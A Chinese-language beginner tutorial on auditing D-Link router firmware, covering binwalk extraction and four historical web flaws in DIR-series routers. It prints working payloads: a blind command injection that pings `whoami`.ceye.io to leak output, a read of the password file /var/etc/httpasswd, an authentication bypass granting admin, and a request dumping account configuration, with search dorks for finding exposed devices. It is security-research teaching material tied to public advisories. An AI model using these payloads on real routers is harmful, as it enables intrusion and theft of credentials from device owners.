专栏首页Seebug漏洞平台D-Link系列路由器漏洞挖掘入门

D-Link系列路由器漏洞挖掘入门

作者:Sebao@知道创宇404实验室

前 言

前几天去上海参加了geekpwn,看着大神们一个个破解成功各种硬件,我只能在下面喊 6666,特别羡慕那些大神们。所以回来就决定好好研究一下路由器,争取跟上大神们的步伐。看网上公开的D-Link系列的漏洞也不少,那就从D-Link路由器漏洞开始学习。

准 备 工 作

既然要挖路由器漏洞,首先要搞到路由器的固件。 D-Link路由器固件下载地址:

ftp://ftp2.dlink.com/PRODUCTS/

下载完固件发现是个压缩包,解压之后里面还是有一个bin文件。听说用binwalk就可以解压。kali-linux自带binwalk,但是缺少一些依赖,所以还是编译安装了一下。

$ sudo apt-get update $ sudo apt-get install build-essential autoconf git # https://github.com/devttys0/binwalk/blob/master/INSTALL.md $ git clone https://github.com/devttys0/binwalk.git $ cd binwalk # python2.7安装 $ sudo python setup.py install # python2.7手动安装依赖库 $ sudo apt-get install python-lzma $ sudo apt-get install python-crypto $ sudo apt-get install libqt4-opengl python-opengl python-qt4 python-qt4-gl python-numpy python-scipy python-pip $ sudo pip install pyqtgraph $ sudo apt-get install python-pip $ sudo pip install capstone # Install standard extraction utilities(必选) $ sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools # Install sasquatch to extract non-standard SquashFS images(必选) $ sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev $ git clone https://github.com/devttys0/sasquatch $ (cd sasquatch && ./build.sh) # Install jefferson to extract JFFS2 file systems(可选) $ sudo pip install cstruct $ git clone https://github.com/sviehb/jefferson $ (cd jefferson && sudo python setup.py install) # Install ubi_reader to extract UBIFS file systems(可选) $ sudo apt-get install liblzo2-dev python-lzo $ git clone https://github.com/jrspruitt/ubi_reader $ (cd ubi_reader && sudo python setup.py install) # Install yaffshiv to extract YAFFS file systems(可选) $ git clone https://github.com/devttys0/yaffshiv $ (cd yaffshiv && sudo python setup.py install) # Install unstuff (closed source) to extract StuffIt archive files(可选) $ wget -O - http://my.smithmicro.com/downloads/files/stuffit520.611linux-i386.tar.gz | tar -zxv $ sudo cp bin/unstuff /usr/local/bin/

按照上面的命令就可以完整的安装binwalk了,这样就可以解开市面上的大部分固件包。 然后用 binwalk -Me 固件包名称 解固件,然后我们会得到以下划线开头的名称的文件夹,文件夹里 squashfs-root 文件夹,就是路由器的完整固件包。

漏 洞 挖 掘

此文章针对历史路由器的web漏洞进行分析,路由器的web文件夹 一般就在 suashfs-root/www 或者 suashfs-root/htdocs 文件夹里。路由器固件所使用的语言一般为 asp,php,cgi,lua 等语言。这里主要进行php的代码审计来挖掘漏洞。

Zoomeye dork: DIR-815 or DIR-645

这里以 D-Link DIR-645固件为例,解开固件进入 suashfs-root/htdocs 文件夹。

这个漏洞出现在 diagnostic.php 文件。直接看代码

HTTP/1.1 200 OK Content-Type: text/xml <? if ($_POST["act"] == "ping") { set("/runtime/diagnostic/ping", $_POST["dst"]); $result = "OK"; } else if ($_POST["act"] == "pingreport") { $result = get("x", "/runtime/diagnostic/ping"); } echo '<?xml version="1.0"?>\n'; ?><diagnostic> <report><?=$result?></report> </diagnostic>

分析代码可以看到,这里没有进行权限认证,所以可以直接绕过登录。继续往下看, set("/runtime/diagnostic/ping", $_POST["dst"]); 这段代码就是造成漏洞的关键代码。参数 dst 没有任何过滤直接进入到了 ping的命令执行里,导致任意命令执行漏洞。继续往下看 $result = "OK"; 无论是否执行成功,这里都会显示OK。所以这是一个盲注的命令执行。以此构造payload

url = 'localhost/diagnostic.php' data = "act=ping&dst=%26 ping `whoami`.ceye.io%26"

因为是盲注的命令执行,所以这里需要借助一个盲打平台(如:ceye),来验证漏洞是否存在。

D-Link DIR-300 & DIR-320 & DIR-600 & DIR-615 信息泄露漏洞

Zoomeye dork:DIR-300 or DIR-600

这里以 D-Link DIR-300固件为例,解开固件进入 suashfs-root/www 文件夹。

漏洞出现在 /model/__show_info.php 文件。

<? if($REQUIRE_FILE == "var/etc/httpasswd" || $REQUIRE_FILE == "var/etc/hnapasswd") { echo "<title>404 Not Found</title>\n"; echo "<h1>404 Not Found</h1>\n"; } else { if($REQUIRE_FILE!="") { require($LOCALE_PATH."/".$REQUIRE_FILE); } else { echo $m_context; echo $m_context2;//jana added if($m_context_next!="") { echo $m_context_next; } echo "<br><br><br>\n"; if($USE_BUTTON=="1") {echo "<input type=button name='bt' value='".$m_button_dsc."' onclick='click_bt();'>\n"; } } } ?>

这里看到已经禁止了 $REQUIRE_FILE 的参数为 var/etc/httpasswd 和 var/etc/hnapasswd 。这么一看无法获取账号密码。但是我们可以从根路径开始配置 httpasswd 的路径,就可以绕过这个过滤了。

payload:

localhost/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd

这里设置 REQUIRE_FILE=/var/etc/httpasswd 成功绕过上面的 if 判断,进行任意文件读取。

D-Link DIR-300 & DIR-320 & DIR-615 权限绕过漏洞

Zoomeye dork:DIR-300 or DIR-615

这里以 D-Link DIR-300固件为例,解开固件进入 suashfs-root/www 文件夹

默认情况下,Web界面中的所有页面都需要进行身份验证,但是某些页面(如 登录页面) 必须在认证之前访问。 为了让这些页面不进行认证,他们设置了一个PHP变量NO_NEED_AUTH:

<? $MY_NAME ="login_fail"; $MY_MSG_FILE=$MY_NAME.".php"; $NO_NEED_AUTH="1"; $NO_SESSION_TIMEOUT="1"; require("/www/model/__html_head.php"); ?>

此漏洞触发的原因在于 全局文件 _html_head.php 。

<? /* vi: set sw=4 ts=4: */ if ($NO_NEED_AUTH!="1") { /* for POP up login. */ // require("/www/auth/__authenticate_p.php"); // if ($AUTH_RESULT=="401") {exit;} /* for WEB based login */ require("/www/auth/__authenticate_s.php"); if($AUTH_RESULT=="401") {require("/www/login.php"); exit;} if($AUTH_RESULT=="full") {require("/www/session_full.php"); exit;} if($AUTH_RESULT=="timeout") {require("/www/session_timeout.php"); exit;} $AUTH_GROUP=fread("/var/proc/web/session:".$sid."/user/group"); } require("/www/model/__lang_msg.php"); ?>

这里我们看到 $NO_NEED_AUTH!="1" 如果 $NO_NEED_AUTH 不为 1 则进入身份认证。如果我们把 $NO_NEED_AUTH 值设置为 1 那就绕过了认证进行任意操作。

payload:

localhost/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0

这里 AUTH_GROUP=0 表示admin权限

Zoomeye dork: DIR-645

这里以 D-Link DIR-300固件为例,解开固件进入 suashfs-root/htdocs 文件夹

D-Link DIR-645 getcfg.php 文件由于过滤不严格导致信息泄露漏洞。

$SERVICE_COUNT = cut_count($_POST["SERVICES"], ","); TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]); $SERVICE_INDEX = 0; while ($SERVICE_INDEX < $SERVICE_COUNT) { $GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ","); TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC); if ($GETCFG_SVC!="") { $file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php"; /* GETCFG_SVC will be passed to the child process. */ if (isfile($file)=="1") dophp("load", $file); } $SERVICE_INDEX++; }

这里我们可以看到 $GETCFG_SVC 没有任何过滤直接获取了 POST 传递过来的 SERVICES 的值。如果 $GETCFG_SVC 不为空,则进行文件读取。这里我们就可以读取存储此设备信息的 DEVICE.ACCOUNT.xml.php 文件。

payload:

http://localhost/getcfg.php post:SERVICES=DEVICE.ACCOUNT

总 结

可以发现此篇文章所提及的漏洞都是web领域的常见漏洞,如权限绕过,信息泄露,命令执行等漏洞。由于路由器的安全没有得到足够的重视,此文涉及到的漏洞都是因为对参数过滤不严格所导致的。

路由器的漏洞影响还是很广泛的,在此提醒用户,及时更新路由器固件,以此避免各种入侵事件,以及个人信息的泄露。

相 关 链 接

  • http://www.s3cur1ty.de/m1adv2013-017
  • http://seclists.org/bugtraq/2013/Dec/11
  • http://www.devttys0.com/wp-content/uploads/2010/12/dlink_php_vulnerability.pdf
  • https://packetstormsecurity.com/files/120591/dlinkdir645-bypass.txt

往 期 热 门

本文分享自微信公众号 - Seebug漏洞平台(seebug_org)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2017-10-28

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 微服务架构:敏捷软件架构的实际体现

    正如敏捷开发能够解决工程技术瓶颈,微服务则能够解决架构层面的瓶颈。 2014年出现的“微服务”理念仿佛一道闪电,让技术人员意识到这一全新架构风格的重要意义。面向...

    李海彬
  • CVE-2015-0235:Linux glibc高危漏洞的检测及修复方法

    这几天复习运维知识,也没怎么关注业界新闻,可等我一关注,又“捅娄子”了,Linux 继上次CVE-2014-6271漏洞爆发以来,再次爆发一个严重漏洞:CVE-...

    张戈
  • Go包管理的探索与实践

    引言:刚学Go没多久,但是很快我就发现了Go的一个特别坑爹的地方 —— 包管理。当然不只是GFW的问题,更多的是有的时候,每个项目使用的包的版本并不是完全一致的...

    李海彬
  • Git -- 分支与合并 (命令行+可视化工具p4merge)

    把所有的变化都放在master分支并不是最好的做法. 建议的做法是把变化放在分支里面.

    solenovex
  • Gitlab删库事件回顾,备份手段还停留在“原始社会”?

    作者简介:孙朝阳 沃趣科技高级产品经理。 Gitlab简介 Gitlab是大家很熟悉的开源Git代码托管工具,国内公司大多使用社区版自行搭建私有化的内部代码托...

    沃趣科技
  • HDUOJ1060Leftmost Digit

    Leftmost Digit Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 65536/327...

    Gxjun
  • 伯克利用120万美元设备24分钟训练ImageNet,刷新Facebook成绩

    李林 编译整理 量子位 报道 | 公众号 QbitAI 最近,加州大学伯克利分校的研究人员用120万美元的设备,24分钟完成了ImageNet的训练。 ? 在最...

    量子位
  • Spring Security入门(三):密码加密

    前文导读 - Spring Security入门(一):登录与退出 - Spring Security入门(二):基于数据库验证 ? Github 地址 ht...

    程序猿DD
  • 从原理到实例,他用区块链技术做一了个COIN 客户端

    本文来自作者 Lijia 在 GitChat 上分享 「手动做一个自己的 COIN 客户端:附区块链核心代码解读」 ? 基本原理和设计 2008年初,中本聪团队...

    CSDN技术头条
  • 互联网中小型企业的持续集成CICD

    本文来自作者 SoftwareLuke 在 GitChat 上分享 「互联网中小型企业的持续集成CICD」 互联网研发的世界里唯快不破、迭代速度往往很快。在快速...

    CSDN技术头条

扫码关注云+社区

领取腾讯云代金券